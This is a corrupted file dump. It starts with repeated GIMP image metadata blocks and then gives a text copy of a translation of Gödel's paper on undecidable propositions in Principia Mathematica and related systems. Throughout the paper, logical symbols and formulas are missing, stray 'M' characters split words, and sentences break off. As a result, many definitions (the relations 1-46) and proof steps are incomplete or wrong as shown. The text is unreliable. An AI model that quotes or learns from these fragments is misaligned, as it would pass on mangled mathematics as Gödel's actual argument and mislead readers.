s" GIMP:TimeStamp="1676413472024736" GIMP:Version="2.10.32" tiff:Orientation="1" xmp:CreatorTool="GIMP 2.10" xmp:MetadataDate="2023:02:15T09:24:30+11:00" xmp:ModifyDate="2023:02:15T09:24:30+11:00"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="saved" stEvt:changed="/" stEvt:instanceID="xmp.iid:f97bdce5-77db-4f97-bfac-33308bf8a449" stEvt:softwareAgent="Gimp 2.10 (Windows)" stEvt:when="2023-02-15T09:24:32"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                      M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                   <?xpacket end="w"?>h!
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 4.4.0-Exiv2"> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEveM
nt#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:GIMP="http://www.gimp.org/xmp/" xmlns:tiff="http://ns.adobe.com/tiff/1.0/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="gimp:docid:gimp:8812ba04-e004-4499-9022-7762bb56f65d" xmpMM:InstanceID="xmp.iid:7b3baaaa-94bd-4b40-8809-3669a69bc65a" xmpMM:OriginalDocumentID="xmp.did:c71272da-f3b7-4584-bf34-10ab53aa468c" dc:Format="image/webp" GIMP:API="2.0" GIMP:Platform="Windows" GIMP:TimeStamp="1676413457124987" GIMP:Version="2.10.32" tiff:Orientation="1" xM
mp:CreatorTool="GIMP 2.10" xmp:MetadataDate="2023:02:15T09:24:15+11:00" xmp:ModifyDate="2023:02:15T09:24:15+11:00"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="saved" stEvt:changed="/" stEvt:instanceID="xmp.iid:708940e7-2da4-4639-97a5-56426f14581f" stEvt:softwareAgent="Gimp 2.10 (Windows)" stEvt:when="2023-02-15T09:24:17"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                 <?xpacket end="w"?>h!
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 4.4.0-Exiv2"> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/M
" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:GIMP="http://www.gimp.org/xmp/" xmlns:tiff="http://ns.adobe.com/tiff/1.0/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="gimp:docid:gimp:337b02a0-a4fb-4968-85d1-51eaa3f2756d" xmpMM:InstanceID="xmp.iid:00a4c639-afa0-47ac-8cd2-5b7223ece45a" xmpMM:OriginalDocumentID="xmp.did:936dfc23-8a41-45db-8202-65cfbcaff43d" dc:Format="image/webp" GIMP:API="2.0" GIMP:Platform="Windows" GIMP:TimeStamp="167M
6413444884089" GIMP:Version="2.10.32" tiff:Orientation="1" xmp:CreatorTool="GIMP 2.10" xmp:MetadataDate="2023:02:15T09:24:03+11:00" xmp:ModifyDate="2023:02:15T09:24:03+11:00"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="saved" stEvt:changed="/" stEvt:instanceID="xmp.iid:7bcffdeb-a15a-40f6-906d-6015b2af10af" stEvt:softwareAgent="Gimp 2.10 (Windows)" stEvt:when="2023-02-15T09:24:04"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                                            M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                             <?xpacket end="w"?>h!
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 4.4.0-Exiv2"> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:GIMP="http://www.gimp.org/xmp/" xmlns:tiff="http://ns.adobe.com/tiff/1.0/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DM
ocumentID="gimp:docid:gimp:a3dd6adc-45a0-4fbd-86ea-66be15fb60eb" xmpMM:InstanceID="xmp.iid:5e62952d-ce4e-4242-95c4-55339fc37868" xmpMM:OriginalDocumentID="xmp.did:6ec53985-86a7-4e39-9ceb-75eb68e5f023" dc:Format="image/webp" GIMP:API="2.0" GIMP:Platform="Windows" GIMP:TimeStamp="1676413433101225" GIMP:Version="2.10.32" tiff:Orientation="1" xmp:CreatorTool="GIMP 2.10" xmp:MetadataDate="2023:02:15T09:23:51+11:00" xmp:ModifyDate="2023:02:15T09:23:51+11:00"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="saved" stEvt:cM
hanged="/" stEvt:instanceID="xmp.iid:6fbf2719-43c8-479f-b0e2-10e8bbbb0fec" stEvt:softwareAgent="Gimp 2.10 (Windows)" stEvt:when="2023-02-15T09:23:53"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                                                                                                                                                                                                                                                                                          M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        L
                                                                                                                                                                                               <?xpacket end="w"?>h!
text/plain;charset=utf-8
ON FORMALLY UNDECIDABLE PROPOSITIONS OF PRINCIPIA MATHEMATICA AND RELATED SYSTEMS
The development of mathematics in the direction of greater exactness has
 led to large tracts of it becoming formalized, so that proofs can be carried out according to a few mechanical rules. The most comprehensive formal systems yet set up are, on the one hand, the system of Principia Mathematica (PM)[2] and, on the other, the axiom system for set theory of Zermelo-Fraenkel M
(later extended by J. v. Neumann).[3] These two systems are so extensive that all methods of proof used in mathematics today have been formalized in them, i.e. reduced to a few axioms and rules of inference. It might therefore be assumed that these axioms and rules of inference are also sufficient to decide all mathematical questions which can in any way at all be expressed formally in the systems concerned. It is shown below that this is not the case, and that in both the systems mentioned there are in fact relatiM
vely simple problems in the theory of ordinary whole numbers[4] which cannot be decided from the axioms. This situation is not due in some way to the special nature of the systems set up, but holds for a very extensive class of formal systems, including, in particular, all those arising from the addition of a finite number of axioms to the two systems mentioned,[5] provided that thereby no false propositions of the kind described in footnote 4 become provable.
Before going into details, we shall first indicate tM
he main lines of the proof, naturally without laying claim to exactness. The formulas of a formal system
we restrict ourselves here to the system PM
are, looked at from outside the system, finite series of basic symbols (variables, logical constants and brackets or separation points), and it is easy to state precisely just which series of basic symbols are meaningful formulas and which are not.[6] Proofs, from the formal standpoint, are likewise nothing but finite series of formulas (with certain specifiable chM
aracteristics). For metamathematical purposes it is naturally immaterial what objects are taken as basic symbols, and we propose to use natural numbers[7] for them. Accordingly, then, a formula is a finite series of natural numbers,[8] and a particular proof-schema is a finite series of finite series of natural numbers. Metamathematical concepts and propositions thereby become concepts and propositions concerning natural numbers, or series of them,[9] and therefore at least partially expressible in the symbols of tM
he system PM itself. In particular, it can be shown that the concepts,
 are definable in the system PM, i.e. one can give[10] a formula F(v) of PM
 with one free variable v (of the type of a series of numbers), such that F(v)
 interpreted according to its content
 states: v is a provable formula. We now obtain an undecidable proposition of the system PM, i.e. a proposition A, for which neither A nor not-A are provable, in the followinM
The term class-string will be used to refer to formulas of PM that have just one free variable, and which is of the type of the natural numbers (class of classes). We think of the class-strings as being somehow arranged in a series,[11] and denote the nth one by R(n); and we note that the concept
 as well as the ordering relation R are definable in the system PM. Let
 be any class-string; by [
; n] we designate that formula that is derived by replacing the free variable in the clasM
 by the string for the natural number n. The three-term relation x = [y; z] also proves to be definable in PM. We now define a class K of natural numbers, as follows:
(Bew [R(n); n]) [11a] (1)
(where Bew x means: x is a provable formula). Since the concepts which appear in the definitions are all definable in PM, so too is the concept K that is derived from them, i.e. there is a class-string S,[12] such that the formula [S; n]
 interpreted according to its content
he natural number n belongs to K. S, being a class-string, is identical with some specific R(q), i.e.
holds for some specific natural number q. We now show that the proposition [R(q); q] [13] is undecidable in PM. For supposing the proposition [R(q); q] were provable, it would also be correct; but that means, as has been said, that q would belong to K, i.e. according to (1),
(Bew [R(q); q]) would hold good, in contradiction to our initial assumption. If, on the contrary, the negation of [R(q); q] wM
 K), i.e. Bew [R(q); q] would hold good. [R(q);q] would thus be provable at the same time as its negation, which again is impossible.
The analogy between this result and Richard
s antinomy leaps to the eye; there is also a close relationship with the
 antinomy,[14] since the undecidable proposition [R(q); q] states precisely that q belongs to K, i.e. according to (1), that [R(q); q] is not provable. We are therefore confronted with a proposition that asserts its own unprovaM
bility.[15] The method of proof just exhibited can clearly be applied to every formal system having the following features: firstly, interpreted according to its content, it disposes of sufficient means of expression to define the concepts occurring in the above argument (in particular the concept
); secondly, every provable formula in it is also correct as regards content. The exact statement of the above proof, which now follows, will have among others the task of substituting for the secondM
 of these assumptions a purely formal and much weaker one.
From the remark that [R(q); q] asserts its own unprovability, it follows at once that [R(q); q] is correct, since [R(q); q] is certainly unprovable (because undecidable). So the proposition that is undecidable in the system PM yet turns out to be decided by metamathematical considerations. The close analysis of this remarkable circumstance leads to surprising results concerning proofs of consistency of formal systems, which are dealt with in more detail M
in Section 4 (Proposition XI).
[Description of the formal system P]
We proceed now to the rigorous development of the proof sketched above, and begin by giving an exact description of the formal system P for which we claim to demonstrate the existence of undecidable propositions. P is essentially the system obtained by superimposing on the Peano axioms the logic of PM[16] (numbers as individuals, the successor relation as an undefined basic concept).
The basic symbols of the system P are the followiM
 (the successor of),
II. Variables of first type (for individuals, i.e. natural numbers including 0):
Variables of second type (for classes of individuals):
Variables of third type (for classes of classes of individuals):
and so on for every natural number as type.[17]
 Variables for two-termed and many-termed functions (relations) are superfluous as basic symbols, since relations can be defined as classes of ordered pairs and ordered pairs again as classes of classes, e.g. the ordered pair a,b by ((a),(a,b)), where (x,y) means the class whose only elements are x and y, and (x) the class whose only element is x.[18]
By a string of first type we understand a combination of symbols of the form:
where a is either 0 or a variable of first type. In tM
he former case we call such a string a number-string. For n > 1 we understand by a string of nth type the same as variable of nth type.
Combinations of strings of the form a(b), where b is a string of nth and a a string of (n
1)th type, we call elementary formulas. The class of formulas we define as the smallest class[19] containing all elementary formulas and, also, along with any a and b the following:
(a) (where x is any given variable).[18a] We term (a)
(b) the disjunction ofM
(a) the negation and (a)
(b) a generalization of a. A formula which has no free variable is called a propositional formula (free variable being defined in the usual way). A formula with just n free individual variables (and otherwise no free variables) we call an n-place relation-string and for n = 1 also a class-string.
) (where a stands for a formula, v a variable and b a string of the same type as v) we understand the formula derived from a, when we replace v in it, whereveM
r it is free, by b.[20] We say that a formula a is a type-lift of another one b, if a derives from b, when we increase by the same amount the type of all variables appearing in b.
[Axioms of the formal system P]
The following formulas (I-V) are called axioms (they are set out with the help of the customarily defined abbreviations:
, = [21] and subject to the usual conventions about omission of parentheses):[22]
II. Every formula derived from the following schemata by substitution of any formulas for p, q and r.
III. Every formula derived from the two schemata
by making the following substitutions for a, v, b, c (and carrying out in I the operation denoted by
): for a any given foM
rmula, for v any variable, for b any formula in which v does not appear free, for c a string of the same type as v, provided that c contains no variable which is bound in a at a place where v is free.[23]
IV. Every formula derived from the schema
on substituting for v or u any variables of types n or n + 1 respectively, and for a a formula that does not contain u free. This axiom represents the axiom of reducibility (the axiom of comprehension of set theory).
ula derived from the following by type-lift (and this formula itself):
This axiom states that a class is completely determined by its elements.
[Rules of inference of the formal system P]
A formula c is called an immediate consequence of a and b, if a is the formula (
 (c), and an immediate consequence of a, if c is the formula v
(a), where v denotes any given variable. The class of provable formulas is defined as the smallest class of formulas tM
hat contains the axioms and is closed with respect to the relation
immediate consequence of
del numbering system]
The basic symbols of the system P are now associated by a one-to-one correspondence with natural numbers, as follows:
Furthermore, variables of type n are given numbers of the form pn (where p is a prime number > 13). Hence, for every finite seriM
es of basic symbols (and so also to every formula) there corresponds, one-to-one, a finite series of natural numbers. These finite series of natural numbers we now map (again by a one-to-one correspondence) on to natural numbers, by letting the number 2n1, 3n2 pknk correspond to the series n1, n2,
 nk, where pk denotes the kth prime number in order of magnitude. A natural number is thereby assigned by a one-to-one correspondence, not only to every basic symbol, but also to every finite series of such symbols. WeM
(a) the number corresponding to the basic symbol or series of basic symbols a. Suppose now one is given a class or relation R(a1,
an) of basic symbols or series of such. We assign to it that class (or relation) R(x1,
xn) of natural numbers that holds for x1,
xn if and only if there exist a1, a2,
an) holds. We represent by the same words in italics [with a colored background] thosM
e classes and relations of natural numbers that have been assigned in this fashion to such previously defined metamathematical concepts as
propositional formula
, etc. The proposition that there are undecidable problems in the system P would therefore read, for example, as follows:
There exist propositional formulas a such that neither a nor the negation of a are provable formulas.
We now introduce a parenthetic consideratM
ion having no immediate connection with the formal system P, and first put forward the following definition:
A number-theoretic function[25]
xn) is said to be recursively defined by the number-theoretic functions
[26] the following hold:
A number-theoretic function
ve, if there exists a finite series of number-theoretic functions
 and has the property that every function
k of the series is either recursively defined by two of the earlier ones, or is derived from any of the earlier ones by substitution,[27] or, finally, is a constant or the successor function x
1. The length of the shortest series of
ithat belongs to a recursive function
, is termed its degree. A relation R(x1,
xn) among natural numbers is called recursiM
ve,[28] if there exists a recursive function
xn) such that for all x1, x2,
The following propositions hold:
I.    Every function (or relation) derived from recursive functions (or relations) by the substitution of recursive functions in place of variables is recursive; so also is every function derived from recursive functions by recursive definition according to schema (2).
II.    If R and S are recM
ursive relations, then so also are
 S (and therefore also R & S).
III.    If the functions
) are recursive, so also is the relation:
IV.    If the function
) and the relation R(x,
) are recursive, so also then are the relations S, T:
and likewise the function
x F(x) means: the smallest numM
ber x for which F(x) holds and 0 if there is no such number.
Proposition I follows immediately from the definition of
. Propositions II and III are based on the readily ascertainable fact that the number-theoretic functions corresponding to the logical concepts
y) = 1, if x, y both
are recursive. The proof ofM
 Proposition IV is briefly as follows: According to the assumption there exists a recursive
We now define, according to the recursion schema (2), a function
) in the following manner:
) is therefore either = n
) (if a = 0).[32] The first case clearly arises if and only if all the constituent factors of a are 1, i.e. if:
From this it follows that the function
) (considered as a function of n) remains 0 up to the smallest value of n for which R(n,
) holds, and from then on is equal to this value (if R(0,
) already holds, then
) is constant and = 0). Therefore:
The relation T can be reduced by negation to a case analogous to S, so that Proposition IV is proved.
[The Relations 1-46]
y, x.y, xy, and also the relations x < y, x = y are readily found to be recursive; starting from these concepts, we now define a series of functions (and relations) 1-45, where each is defined from the earlier ones by means of the operations referred to in Propositions I to IV. Generally speaking, several such definition steps permitted by the Propositions I to IV M
are collapsed into one. Each of the functions (relations) 1-45, containing, for example, the concepts
immediate consequence
, is therefore recursive.
x is divisible by y. [34]
x is a prime number.
 x & Prim(y) & x/y & y > n Pr x]
n Pr x is the nth (in order of magnitude) prime number containedM
 {Pr(n)}! + 1 & Prim(y) & y > Pr(n)]
Pr(n) is the nth prime number (in order of magnitude).
n Gl x is the nth term of the series of numbers assigned to the number x (for n > 0 and n not greater than the length of this series).
 x & y Pr x > 0 & (y
l(x) is the length of theM
 series of numbers assigned to x.
 n Gl z = n Gl x] & (n)[0 < n
l(x)} Gl z = n Gl y]]
 x * y corresponds to the operation of
 two finite series of numbers.
R(x) corresponds to the number-series consisting only of the number x (for x > 0).
E(x) corresponds to the operation of
 [11 and 13 are assigned to the basiM
 x & Prim(z) & x = zn] & n
x is a variable of nth type.
Neg(x) is the negation of x.
x Dis y is the disjunction of x and y.
x Gen y is the generalization of y by means of the variable x (assuming x is a variable).
n N x corresponds to the operation:
n-fold prefixing of the symbol
Z(n) is the number-string for the number n.
 1 Var m] & x = n N [R(m)]} [34b]
x is a string of first type.
 x & n Var v & x = R(v)}]
x is a string of nth type.
x is an elementary formula.
 x & Var(v) & x = v Gen y]
p,q)[0 < p,q < n & Op(n Gl x,p Gl x,q Gl x)]} & l(x) > 0
x is a series of formulas where each is either an elementary formula or arises from those preceding by the operations of negation, disjunction and generalization.
[l(x)]2 & FR(n) & x = [l(n)] Gl n} [35]
a formula (i.e. last term of a series of formulas n).
 Var(v) & Form(x) & (
 x & x = a * (v Gen b) * c & Form(b) & l(a)
The variable v is bound at the nth place in x.
 Var(v) & Form(x) & v = n Gl x & n
The variable v is free at the nth place in x.
v occurs in x as a free variable.
 x & x = u * R(b Gl x) * v & z = u * y * v & n = l(u)
) derives from x on substituting y in place of the nth term of x (it being assumed that 0 < n
n {n < k St v,x & v Fr n,x & (
p)[n < p < k St v,x & v Fr p,x]}
1) th place in x (numbering from the end of formula x) where v is free in x (M
and 0, if there is no such place.)
A(v,x) is the number of places where v is free in x.
) is the concept Subst a(
), defined above. [37]
 Neg{[Neg(x)] Dis [Neg(y)]}
 (x Imp y) Con (y Imp x)
 Neg{v Gen [Neg(y)]}
 13 & k Gl y = k Gl x)
 (k Gl x > 13 & k Gl y = k Gl x
n Th x is the nth type-lift of x (in the case when x and n Th x are formulas).
To the axioms I, 1 to 3, there correspond three specific numbers, which we denote by z1, z2, z3, and we define:
 x & Form(y) & x = (y Dis y) Imp y]
x is a formula derived bM
y substitution in the axiom-schema II, 1. Similarly A2-Ax, A3-Ax, A4-Ax are defined in accordance with the axioms II, 2 to 4.
x is a formula derived by substitution in an axiom of the sentential calculus.
 z & w = m Gl z & w Geb n,y & v Fr n,y]
z contains no variable bound in y at a position where v is free.
 x & n Var v & Typn(M
z) & Form(y) & Q(z,y,v) & x = (v Gen y) Imp [Sb(y
x is a formula derived from the axiom-schema III, 1 by substitution.
 x & Var(v) & Form(p) & v Fr p & Form(q)  & x = [v Gen (p Dis q)] Imp [p Dis (v Gen q)]}
x is a formula derived from the axiom-schema III, 2 by substitution.
u,v,y,n)[u, v, y, n
1) Var u & u Fr y & Form(y) & x = u
x {v Gen [[R(u)*E(R(v))] Aeq y]}]
x is a formula derived from thM
e axiom-schema IV, 1 by substitution.
To the axiom V, 1 there corresponds a specific number z4 and we define:
 x & Var(v) & x = v Gen y]
x is an immediate consequence of y and z.
p,q)[0 < p,q < n & Fl(n Gl x, p Gl x, q Gl x)]} & l(x) > 0
x is a proof-schema (a finite series of formulas, where each is either an axiom or an immediate consequence of two previous ones).
 Bw(x) & [l(x)] Gl x = y
x is a proof of the formula y.
x is a provable formula. (Bew(x) is the only one of the concepts 1-46 where it cannot be asserted that it is recursive.)
The following proposition is an exact expression of a fact that can be roughly formulated in this manner: every recursive relation isM
 definable in the system P (interpreted according to its content), regardless of what interpretation is given to the formulas of P:
Proposition V: To every recursive relation R(x1
 xn) there corresponds an n-place relation-string r (with the free variables[38] u1, u2,
 un) such that for every n-tuple of numbers (x1
 xn) the following hold:
e with indicating the proof of this proposition in outline, since it offers no difficulties in principle and is somewhat involved.[39] We prove the proposition for all relations R(x1
 xn) of the form: x1 =
 is a recursive function) and apply mathematical induction on the degree of
. For functions of the first degree (i.e. constants and the function x
1) the proposition is trivial. Let
 then be of degree m. It derives from functions of lower degree
ns of substitution or recursive definition. Since, by the inductive assumption, everything is already proved for
k, there exist corresponding relation-strings r1
 rk such that (3) and (4) hold. The processes of definition whereby
k (substitution and recursive definition) can all be formally mapped to the system P. If this is done, we obtain from r1
 rk a new relation-string r
[41], for which we can readily prove the validity of (3) and (4) by use of the inductive assumM
ption. A relation-string r, assigned in this fashion to a recursive relation,[42] will be called recursive.
We now come to the objective of our assertions:
Let c be any class of formulas. We denote by Flg(c) (set of consequences of c) the smallest set of formulas that contains all the formulas of c and all axioms, and which is closed with respect to the relation
immediate consequence of
-consistent, if there is no class-string a such that:
where v is the free variable of the class-string a.
-consistent system is naturally also consistent. The converse, however, is not the case, as will be shown later.
The general result as to the existence of undecidable propositions reads:
Proposition VI: For every
-consistent recursive class c of formulas there are corresponding recursive class-strings r, such that neither v Gen r nor Neg (v Gen r) belongs to Flg(c) (where v is the free variable of r).M
Proof: Let c be any given recursive
-consistent class of formulas. We define:
p,q){0 < p,q < n & Fl(n Gl x, p Gl x, q Gl x)}] & l(x) > 0 (5)
(cf. the analogous relation 44)
 Bwc(x) & [l(x)] Gl x = y (6)
(cf. the analogous relations 45, 46)
The following clearly hold:
We now define the relation:
Since x Bc y (according to (6), (5)) and Sb(y
) (according to definitions 17, 31) are recursive, so also is Q(x,
y). According to Proposition V and (8) there is therefore a relation-string q (with the free variables 17, 19) such that
(p is a class-strinM
g with the free variable 19)
(r is a recursive class-string with the free variable 17). [43]
) = 17 Gen r [44] (13)
(because of (11) and (12)) and furthermore:
(according to (12)). If now in (9) and (10) we substitute p for y, we find, in virtue of (13) and (14):
1. 17 Gen r is not c-provable.[45] For if that were so, there would (according to 6.1) be an n such that n Bc (17 Gen r). By (16) it would therefore be the case that:
 from the c-provability of 17 Gen r there follows also that of Sb(r
). c would therefore be inconsistent (and, a fortiori,
2. Neg(17 Gen r) is not c-provabM
le. Proof: As shown above, 17 Gen r is not c-provable, i.e. (according to 6.1) the following holds: (n)
{n Bc(17 Gen r)}. Whence it follows, by (15), that (n) Bewc[Sb(r
)], taken together with Bewc[Neg(17 Gen r)] would conflict with the
Neg(17 Gen r) is therefore undecidable in c, so that Proposition VI is proved.
One can easily convince oneself that the above proof is constructive,[45a] i.e. that the following is proven intuitionistically:
For a given recursively defiM
ned class c of formulas:
If a formal proof (in the class c) can be given for the propositional formula 17 Gen r (which is actually definable) we can in fact state:
1. A proof for Neg(17 Gen r).
2. For any given n, a proof for Sb(r
), i.e. a formal proof of 17 Gen r would in fact lead to the actaul demonstration of an
We shall call a relation (class) of natural numbers R(x1
 xn) decisional-definite, if there is an n-place relation-string r such that (3) and (4) hold (cM
f. Proposition V). In particular, therefore, by Proposition V, every recursive relation is decisional-definite. Similarly, a relation-string will be called decisional-definite, if it be assigned in this manner to a decisional-definite relation. It is, then sufficient, that for the existence of undecidable propositions, that the class c is assumed to be
-consistent and decisional-definite. For the property of being decisional-definite carries over from c to x Bc y (cf. (5), (6)) and to Q(x,
y) (cf. 8.1), and onlM
y these facts are applied in the above proof. The undecidable proposition has in this case the form v Gen r, where r is a decisional-definite class-string (it is in fact sufficient that c is decisional-definite in the system extended by c).
-consistency, only consistency itself is assumed for c, then there follows, indeed, not the existence of an undecidable proposition, but rather the existence of a property (r) for which it is possible neither to provide a counter-example nor to prove that it M
holds for all numbers. For, in proving that 17 Gen r is not c-provable, only the consistency of c is employed (cf. Propostion VI 1.
17 Gen r is not c-provable
Bewc(17 Gen r) it follows, according to (15), that for every number x, Sb(r
) is c-provable, and hence that Sb(r
) is not c-provable for any number.
By adding Neg(17 Gen r) to c, we obtain a consistent but not
-consistent class of formulas c
 is consistent, since otherwise 17 Gen r would be c-provaM
-consistent, since by
Bewc(17 Gen r) and (15) we have:
and hence we also have that:
holds. While on the other hand:
[Neg(17 Gen r)]. [46]
A special case of Proposition VI is that where the class c consists of a finite number of formulas (with or without those derived therefrom by type-lift
). Every finite class
 is naturally recursive. Let a be the largest number contained in
hen in this case the following holds for c.
c is therefore recursive. This allows one, for example, to conclude that even with the help of the axiom of choice (for all types), or the generalized continuum hypothesis, not all propositions are decidable, it being assumed that these hypotheses are
In the proof of Proposition VI the only properties of the system P employed were the following:
1. The class of axioms and the rules M
of inference (i.e. the relation
immediate consequence of
) are recursively definable (as soon as the basic symbols are replaced in any fashion by natural numbers).
2. Every recursive relation is definable in the system P (in the sense of Proposition V).
Hence in every formal system that satisfies assumptions 1 and 2 and is
-consistent, undecidable propositions exist of the form x
F(x), where F is a recursively defined property of natural numbers, and so too in every extension of such a system mM
ade by adding a recursively definable
-consistent class of axioms. As can be easily confirmed, the systems that satisfy assumptions 1 and 2 include the Zermelo-Fraenkel and the v. Neumann axiom systems of set theory,[47] and also the axiom system of number theory which consists of the Peano axioms, the operation of recursive definition [according to schema (2)] and the logical rules.[48] Assumption 1 is in general satisfied by every system whose rules of inference are the usual ones and whose axioms (like those oM
f P) are derived by substitution from a finite number of schemata.[48a]
From Proposition VI we now obtain further consequences and for this purpose give the following definition:
A relation (class) is called arithmetical, if it can be defined solely by means of the concepts +, . [addition and multiplication, applied to natural numbers][49] and the logical constants
, (x), =, where (x) and = are to relate only to natural numbers.[50] The concept of
arithmetical proposition
orresponding way. In particular the relations
congruent to a modulus
 are arithmetical, since
Proposition VII: Every recursive relation is arithmetical.
We prove this proposition in the form: Every relation of the form x0 =
 is recursive, is arithmetical, and apply mathematical induction on the degree of
 be of degree s (s > 1). TheM
(where p and all the x
s have degrees smaller than s) or
 are of lower degree than s).
In the first case we have:
where R and Si are respectively the arithmetical relations which, by the assumption of inductM
ion exist, are equivalent to x0 =
 xn). In this case, therefore, x0 =
 xn) is arithmetical.
In the second case we apply the following procedure: The relation x0 =
 xn) can be expressed with the help of the concept
1) are respectively the arithmetical relations,M
 which exist by the assumption of induction, that are equivalent to
the following then holds:
 xn)] & x0 = fx1} (17)
We now replace the concept
, by assigning to the number pair n, d the number series f(n,d)(fk(n,d) = [n]1
1)d), where [n]p denotes the smallest non-negative residue of n modulo p.
Lemma 1: If f is any series of natural numbers and k any natural number, then there exists a pair of natural numbers n, d, such that f(n,d) and f agree in the first k terms.
Proof: Let l be the largest of the numbers k,f0,f1
 fk-1. Let n be so determined tha.
which is possible, since every two of the numbers 1
 k-1) are relatively prime. For a prime number contained in two of these numbers would M
also be contained in the difference (i1-i2)l! and therefore, because |i1-i2| < 1, in l!, which is impossible. The number pair n, l! thus accomplishes what is required.
Since the relation x = [n]p is defined by x = n(mod p) & x < p and is therefore arithmetical, so also is the relation P(x0,x1
 xn) defined as follows.
which, according to (17M
) and Lemma 1, is equivalent to x0 =
 xn) (we are concerned with the series f in (17) only in its course up to the x1
1 th term). Thereby Proposition VII is proved.
According to Proposition VII there corresponds to every problem of the form (x) F(x) (F recursive) an equivalent arithmetical problem, and since the whole proof of Proposition VII can be formalized (for every specific F) within the system P, this equivalence is provable in P. Hence.
Proposition VIII: In every one of the formal systeM
ms[53] referred to in Proposition VI there are undecidable arithmetical propositions.
The same holds (in virtue of the remarks at the end of Section 3) for the axiom system of set theory and its extensions by
-consistent recursive classes of axioms.
We shall finally demonstrate the following result also:
Proposition IX: In all the formal systems referred to in Proposition VI53 there are undecidable problems of the restricted predicate calculus[54] (i.e. formulas of the restricted predicate calculus for wM
hich neither universal validity nor the existence of a counter-example is provable).[55]
Proposition X: Every problem of the form (x) F(x) (F recursive) can be reduced to the question of the satisfiability of a formula of the restricted predicate calculus (i.e. for every recursive F one can give a formula of the restricted predicate calculus, the satisfiability of which is equivalent to the validity of (x) F(x)).
We regard the restricted predicate calculus (r.p.c.) as consisting of those fM
ormulas which are constructed out of the basic symbols:
 (individual variables) and F(x), G(x,y), H(x,y,z)
 (property and relation variables)[56] where (x) and = may relate only to individuals. To these strings we add yet a third kind of variables
(x,y,z) etc. which represent object functions; i.e.
(x,y), etc. denote one-valued functions whose arguments and values are individuals.[57] A formula which, besides the first mentioned strings of the r.p.c. also contaM
ins variables of the third kind, will be called an i.w.s. formula (a formula in the wider sense) .[58] The concepts of
 transfer immediately to i.w.s. formulas and we have the proposition that for every i.w.s. formula A we can give an ordinary r.p.c. formula B such that the satisfiability of A is equivalent to that of B. We obtain B from A, by replacing the variables of the third kind
 appearing in A by expressions of the form (
, by eliminating the
 functions on the lines of PM I *14, and by logically multiplying[59] the resultant formula by an expression, which states that all the F, G
 substituted for the
 hold for a unique value of the first argument place.
We now show, that for every problem of the form (x) F(x) (F recursive) there is an equivalent concerning the satisfiability of an i.w.s. formula, from which Proposition X follows in accordance with what has just been said.
Since F is recursivM
e, there is a recursive function
 there is a series of functions
      r < k, iv < k (for v = 1, 2
In addition, we form the propositions:
In all the formulas (18), (19), (20) (for k = 2,3,
 n) and in (21), (22), we now replace the functions
i by the function variable
i, the number 0 by an otherwise absent individual variable x0 and form the conjunction C of all the formulas so obtained.
x0)C then has the required property, i.e
x0)C is satisfiable, since when the functions
n are substituted for
x0)C they obviously yield a correct proposition.
x0)C is satisfiable, then (x) [
(x) = 0] is the case.
n be the functions presumed to exist, which yield a correct proposition when substituted for
x0)C. Let its domain of individuals be I. In view of the correctness of (
x0)C for all functions
i, there is an individual a (inM
 I) such that all the formulas (18) to (22) transform into correct propositions (18
) on replacement of the
i and of 0 by a. We now form the smallest sub-class of I, which contains a and is closed with respect to the operation
1(x). This subclass (I
) has the property that every one of the functions
i, when applied to elements of I
, again yields elements of I
. For this holds of
1 in virtue of the definition of I
; and by reason of (18
) this property carriesM
i of lower index to those of higher. The functions derived from
i by restriction to the domain of individuals I
